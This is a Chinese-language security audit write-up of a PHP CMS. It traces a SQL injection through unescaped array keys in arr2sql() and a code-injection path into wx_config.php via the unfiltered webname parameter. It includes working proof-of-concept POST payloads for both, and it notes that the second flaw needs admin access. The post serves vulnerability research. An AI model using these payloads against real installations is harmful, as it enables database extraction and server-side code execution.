前言
之前在t00ls上看到一位大佬随手发了某源码的一个sql注入,前几周有拿到了这个源码就按照他发的漏洞把漏洞代码跟了下,同时自己也审了个比较鸡肋的RCE,把审计过程记录了下。
1.sql注入
根据习惯先看代码最原始db目录下的数据库类操作文件,其中有个arr2sql()函数用于将数组转换为sql语句存在问题,如下所示:
private function arr2sql($arr) {
$s = '';
foreach($arr as $k=>$v) {
$v = addslashes($v);
$s .= "$k='$v',";
}
return rtrim($s, ',');
}
由上数组转成sql语句可以看出,arr2sql()函数只对数组中的value值进行了转义过滤,而没有对相应的key进行转义过滤,直接进行拼接返回。那我们就假设如果传入的数组$arr中相应的键我们在前端可以控制构造相应的payload即可造成sql注入。
首先我们全局搜索那些地方调用了arr2sql()这个方法,找到两处函数调用了该方法如下所示:
执行插入操作的函数:
public function set($key, $data) {
if(!is_array($data)) return FALSE;
list($table, $keyarr) = $this->key2arr($key);
$data += $keyarr;
$s = $this->arr2sql($data);
$exists = $this->get($key);
if(empty($exists)) {
return $this->query("INSERT INTO {$this->tablepre}$table SET $s", $this->wlink);
} else {
return $this->update($key, $data);
}
}
第二处跟新操作的函数:
public function update($key, $data) {
list($table, $keyarr, $keystr) = $this->key2arr($key);
$s = $this->arr2sql($data);
return $this->query("UPDATE {$this->tablepre}$table SET $s WHERE $keystr LIMIT 1", $this->wlink);
}
由上述函数可知$s经过arr2sql()处理后直接返回凭借执行sql语句。
选一处进行分析数据流分析,全局搜索update()函数查找调用该函数的方法且传入数组中的键可控,找到如下方法:
public function ajaxset(){
$id = intval(R('id', 'P'));
$cid = intval(R('cid', 'P'));
$type = R('type', 'P');
$txtvalue = intval(R('txtvalue', 'P'));
empty($id) && E(1, '内容ID不能为空!');
$this->cms_content->table = 'cms_products';
$data = $this->cms_content->get($id);
$old_status = $data['status'] ;
$data[$type] = $txtvalue;
if($type == 'status' && $txtvalue == 0){ //审核通过清空拒绝理由
$data['whys'] = '';
}
if(!$this->cms_content->update($data)) {
E(1, '更新出错');
}
if($type == 'status'){
$categorys = $this->category->read($cid);
$categorys['count_'.$txtvalue]++;
$categorys['count_'.$old_status]--;
$this->category->update($categorys);
$this->category->delete_cache();
$shop = $this->shop->get_by_uid($data['uid']);
$shop['goods_'.$txtvalue]++;
$shop['goods_'.$old_status]--;
$this->shop->update($shop);
}
E(0, '更新成功!');
}
调用update函数传入数组$data其中一个键的$type可控,有前端传入。即上述R(‘’,‘p’)方法,该方法为接受前端传入数据,如下所示:
function R($k, $var = 'G') {
switch($var) {
case 'G': $var = &$_GET; break;
case 'P': $var = &$_POST; break;
case 'C': $var = &$_COOKIE; break;
case 'R': $var = isset($_GET[$k]) ? $_GET : (isset($_POST[$k]) ? $_POST : $_COOKIE); break;
case 'S': $var = &$_SERVER; break;
}
return isset($var[$k]) ? $var[$k] : null;
}
简单poc如下所示;
id=503&type=pic%3ddatabase(),local&value=
复现过程如下所示:
pic字段更新成相应的数据库名:
2.wx_config.php文件写入shell
ase.func.php中FW($filename, $data)函数直接用file_put_contents()函数将数据写入文件中。
function FW($filename, $data) {
$dir = dirname($filename);
is_dir($dir) || mkdir($dir, 0755, true);
return file_put_contents($filename, $data); // 不使用 LOCK_EX,多线程访问时会有同步问题
}
联想若某处调用了FW(),若$filename,$data数据可控未做过滤则可进行任意文件修改写入shell,若$data可控未做过滤则可修改指定文件内容写入shell。全局搜索那些地方调用了FW()函数,找到一处写入wx_config.php的数据可控:
public function setting() {
if(empty($_POST)) {
$cfg = $this->kv->xget('pay_cfg');
$input = array();
$input['weixin']['APPID'] = form::get_text('weixin[APPID]', $cfg['weixin']['APPID'], 'form-control');
$input['weixin']['MCHID'] = form::get_text('weixin[MCHID]', $cfg['weixin']['MCHID'], 'form-control');
$input['weixin']['KEY'] = form::get_text('weixin[KEY]', $cfg['weixin']['KEY'], 'form-control');
$input['weixin']['APPSECRET'] = form::get_text('weixin[APPSECRET]', $cfg['weixin']['APPSECRET'], 'form-control');
$this->assign('input', $input);
$this->display();
}else{
_trim($_POST);
$weixin = R('weixin', 'P') ;
$this->kv->xset('weixin', $weixin, 'pay_cfg');
//存储wx
$wx_notice = '';
if(!empty($weixin)){
$wxFile = PLUGIN_PATH.'nz_wxpay/wx_config.php';
$s = file_get_contents($wxFile);
$s = preg_replace("#const APPID = '\w*';#", "const APPID = '".addslashes($weixin['APPID'])."';", $s);
$s = preg_replace("#const MCHID = '\w*';#", "const MCHID = '".addslashes($weixin['MCHID'])."';", $s);
$s = preg_replace("#const KEY = '\w*';#", "const KEY = '".addslashes($weixin['KEY'])."';", $s);
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);
if(!FW($wxFile, $s)){
$wx_notice = '!但微信配置文件写入失败,需手动修改nzcms/plugin/nz_wxpay/wx_config.php';
}
}
$this->kv->save_changed();
$this->runtime->delete('pay_cfg');
exit('{"err":0, "msg":"修改成功"}');
}
}
写入$wxFile的$s数据可控,且前端传入的webname参数可控不进行过滤,其余传入的数组$weixin都进行了过滤,故可构造如下payload将shell写入wx_config.php。
weixin%5BAPPID%5D=1155&weixin%5BMCHID%5D=5555555&weixin%5BKEY%5D=11333311&weixin%5B'APPSECRET'%5D=1111&webname=aaaaaaaaa';} phpinfo();?>/*
抓取相应数据包发送上述payload如下所示:
访问wx_config.php,如下所示:
但这个洞利用还是有限制可以说比较鸡肋,主要有两点
- 1.需要获取后台管理员权限
- 2.可以看上述代码中的替换正则
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);
用了\w来匹配,导致如果wx_config.php中的COMPANY预先赋值为中文就无法匹配成功也就无法替换写入。